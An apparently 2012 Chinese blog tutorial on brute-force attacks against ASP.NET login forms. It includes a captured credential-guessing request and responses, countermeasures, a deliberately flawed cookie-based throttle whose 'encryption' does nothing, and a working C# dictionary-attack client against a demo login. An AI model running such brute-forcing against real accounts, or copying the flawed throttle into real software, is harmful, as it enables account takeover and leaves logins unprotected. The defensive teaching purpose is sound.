原理
爆破是對系統的登錄入口發起不間斷的請求,達到暴力破解的目的。
實際案例
某系統存在爆破攻擊點,只要模擬以下攻擊,就能采用字典破解法,根據分析發現,只要返回狀態為302的,為用戶名密碼正確,也就是被爆破了,狀態為200的,為用戶名密碼錯誤。
在攻擊的過程中,我們只要准備好字典,就能順利實現爆破。像用戶名為luminji,密碼為123456這樣的用戶很容易就會被爆破掉。
請求:
POST /sso/ValidateUser.aspx HTTP/1.1
User-Agent: Fiddler
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.40.193
Content-Length: 37
loginId=luminji&password=123456
以下是成功爆破的返回:
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 151
Content-Type: text/html; charset=utf-8
Location: http://192.168.40.193/portal/pages
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:25:50 GMT
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>
</body></html>
以下是失敗的返回:
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:26:01 GMT
8a0
_�_
應對措施
一種思路是:定位客戶端,限制客戶端的請求頻率。一般來說,通過兩個途徑可確定某個客戶端,IP地址和Cookie。但是,這種方式一般來說也是被攻破的,比如使用AccessDriver這樣的工具就可以更換IP地址,同時,再清空cookie就可以做到。
其次,使用驗證碼。這是一種非常有效的措施,但是一定程度上降低了用戶體驗。
Mads Kristensen提到了另一種方法是限制每個用戶的登錄次數,代碼如下:
protected void ButtonLogin_Click(object sender, EventArgs e) { string loginName = "luminji"; if (AddAndGetLoginCount(loginName) > 5) { //block } else { if (CheckLogin(loginName) == true) { ClearLoginCount(loginName); } } } //只適用於單機,如果是集群,需要分布式緩存 int AddAndGetLoginCount(string userNanme) { if (Cache[userNanme] == null) { Cache.Insert("luminji", 1, null, System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(10)); return 1; } else { int count = (int)Cache[userNanme] + 1; Cache[userNanme] = count; return count; } } void ClearLoginCount(string userName) { if (Cache[userName] != null) { Cache.Remove(userName); } } private bool CheckLogin(string loginName) { throw new NotImplementedException(); }
這里還有一種方法,它看上去是正確的,但是有人一眼就看出來在其貌似能正確防范爆破下的本質錯誤,不知道你是否能察覺。這段代碼的大致思路是:
將訪問次數保存在cookie中,然后根據cookie保存的值來限制訪問次序。保存在cookie中的值(該值所表達的意義是:誰在某個時間段內訪問了幾次),需要進行加密處理,只有這樣,才能保證不讓客戶端進行模擬。全部代碼實現,請參看代碼:
protected void ButtonLogin_Click(object sender, EventArgs e) { HttpCookie cookieGet = Request.Cookies.Get("btcookie"); if (cookieGet == null) { SendBFCookieToClientAndRedirect(); } else { ReceiveBFCookieAndCheckLogin(cookieGet); } } private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet) { string loginName = "luminji"; BruteForce bf = PreAnalyCookieGet(cookieGet); if (DateTime.Parse(bf.ExpireTime) > DateTime.Now) { if (int.Parse(bf.LoginCount) > 5) { Block(); } else { GoAndCheckAndUpdateCount(cookieGet, loginName, bf); } } else { GoAndCheckAndUpdateExpiretime(cookieGet, loginName); } } private BruteForce PreAnalyCookieGet(HttpCookie cookieGet) { Response.Write(string.Format("get{0}<br/>", Session.SessionID)); Response.Write(string.Format("get Cookie:{0}<br/>", cookieGet.Value)); Response.Write(string.Format("Now:{0}", DateTime.Now)); var bfarr = cookieGet.Value.Split('|'); return new BruteForce(bfarr[0], bfarr[1], bfarr[2]); } private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", int.Parse(bf.LoginCount) + 1, Session.SessionID, bf.ExpireTime)); Response.Cookies.Add(cookieGet); } private void Block() { Response.Write("block"); } private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", 1, Session.SessionID, DateTime.Now.AddSeconds(10))); Response.Cookies.Add(cookieGet); } private void SendBFCookieToClientAndRedirect() { Response.Write(string.Format("set{0}<br/>", Session.SessionID)); string str = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", 1, Session.SessionID, DateTime.Now.AddSeconds(10))); Session["btcookiesession"] = str; HttpCookie cookieSet = new HttpCookie("btcookie", str); cookieSet.HttpOnly = true; Response.Cookies.Add(cookieSet); //Redirect To real login page } private string EncryptBruteForceCookie(string cookie) { //encrypt cookie return cookie; } private string DecrpytBruteForceCooke(string cookie) { //encrypt cookie return cookie; } class BruteForce { public BruteForce(string loginCount, string sessionID, string expireTime) { LoginCount = loginCount; SessionID = sessionID; ExpireTime = expireTime; } public string LoginCount; public string SessionID; public string ExpireTime; }
爆破的實施
假設要爆破的登錄處的邏輯如下:
protected void btnLogin_Click(object sender, EventArgs e) { if (this.txtUserName.Text == "xjm" && this.txtUserPassword.Text == "123") { //this.Session["UserName"] = this.txtUserName.Text; Response.Redirect("Home.aspx"); } else { Response.Write("login denied!"); } }
PS:一般來說,爆破就是模擬發送請求,C#代碼如下:
string httpBase = @"http://localhost:50097"; List<string> keyDict = new List<string>() { "1", "12", "123", "a", "ab" }; private void button2_Click(object sender, EventArgs e) { bool isOk = false; foreach (string key in keyDict) { var request = InitRequest(); SetRequestContent(request, key); if (isOk = GetResponseAndLoginSuccess(request)) { break; } } if (isOk) { MessageBox.Show("login success."); } else { MessageBox.Show("failed!"); } } private void SetRequestContent(WebRequest request, string key) { //todo 1:should get login.aspx first, and get the viewstat // 2:then we can build this content string content = string.Format("__VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button", key); request.ContentLength = content.Length; byte[] bytes = Encoding.UTF8.GetBytes(content); using (Stream requestStream = request.GetRequestStream()) { requestStream.Write(bytes, 0, bytes.Length); requestStream.Flush(); } } private bool GetResponseAndLoginSuccess(WebRequest request) { var response = request.GetResponse(); using (Stream stream = response.GetResponseStream()) using (StreamReader reader = new StreamReader(stream)) { if (response.ResponseUri.ToString().IndexOf(httpBase+ @"/Home.aspx") > -1) { var context = reader.ReadToEnd(); context += "<br/>hacked by luminji!"; webBrowser1.DocumentText = context; return true; } } return false; } private WebRequest InitRequest() { string url = httpBase + @"/login.aspx"; var request = HttpWebRequest.Create(url); request.ContentType = "application/x-www-form-urlencoded"; request.Method = "POST"; return request; }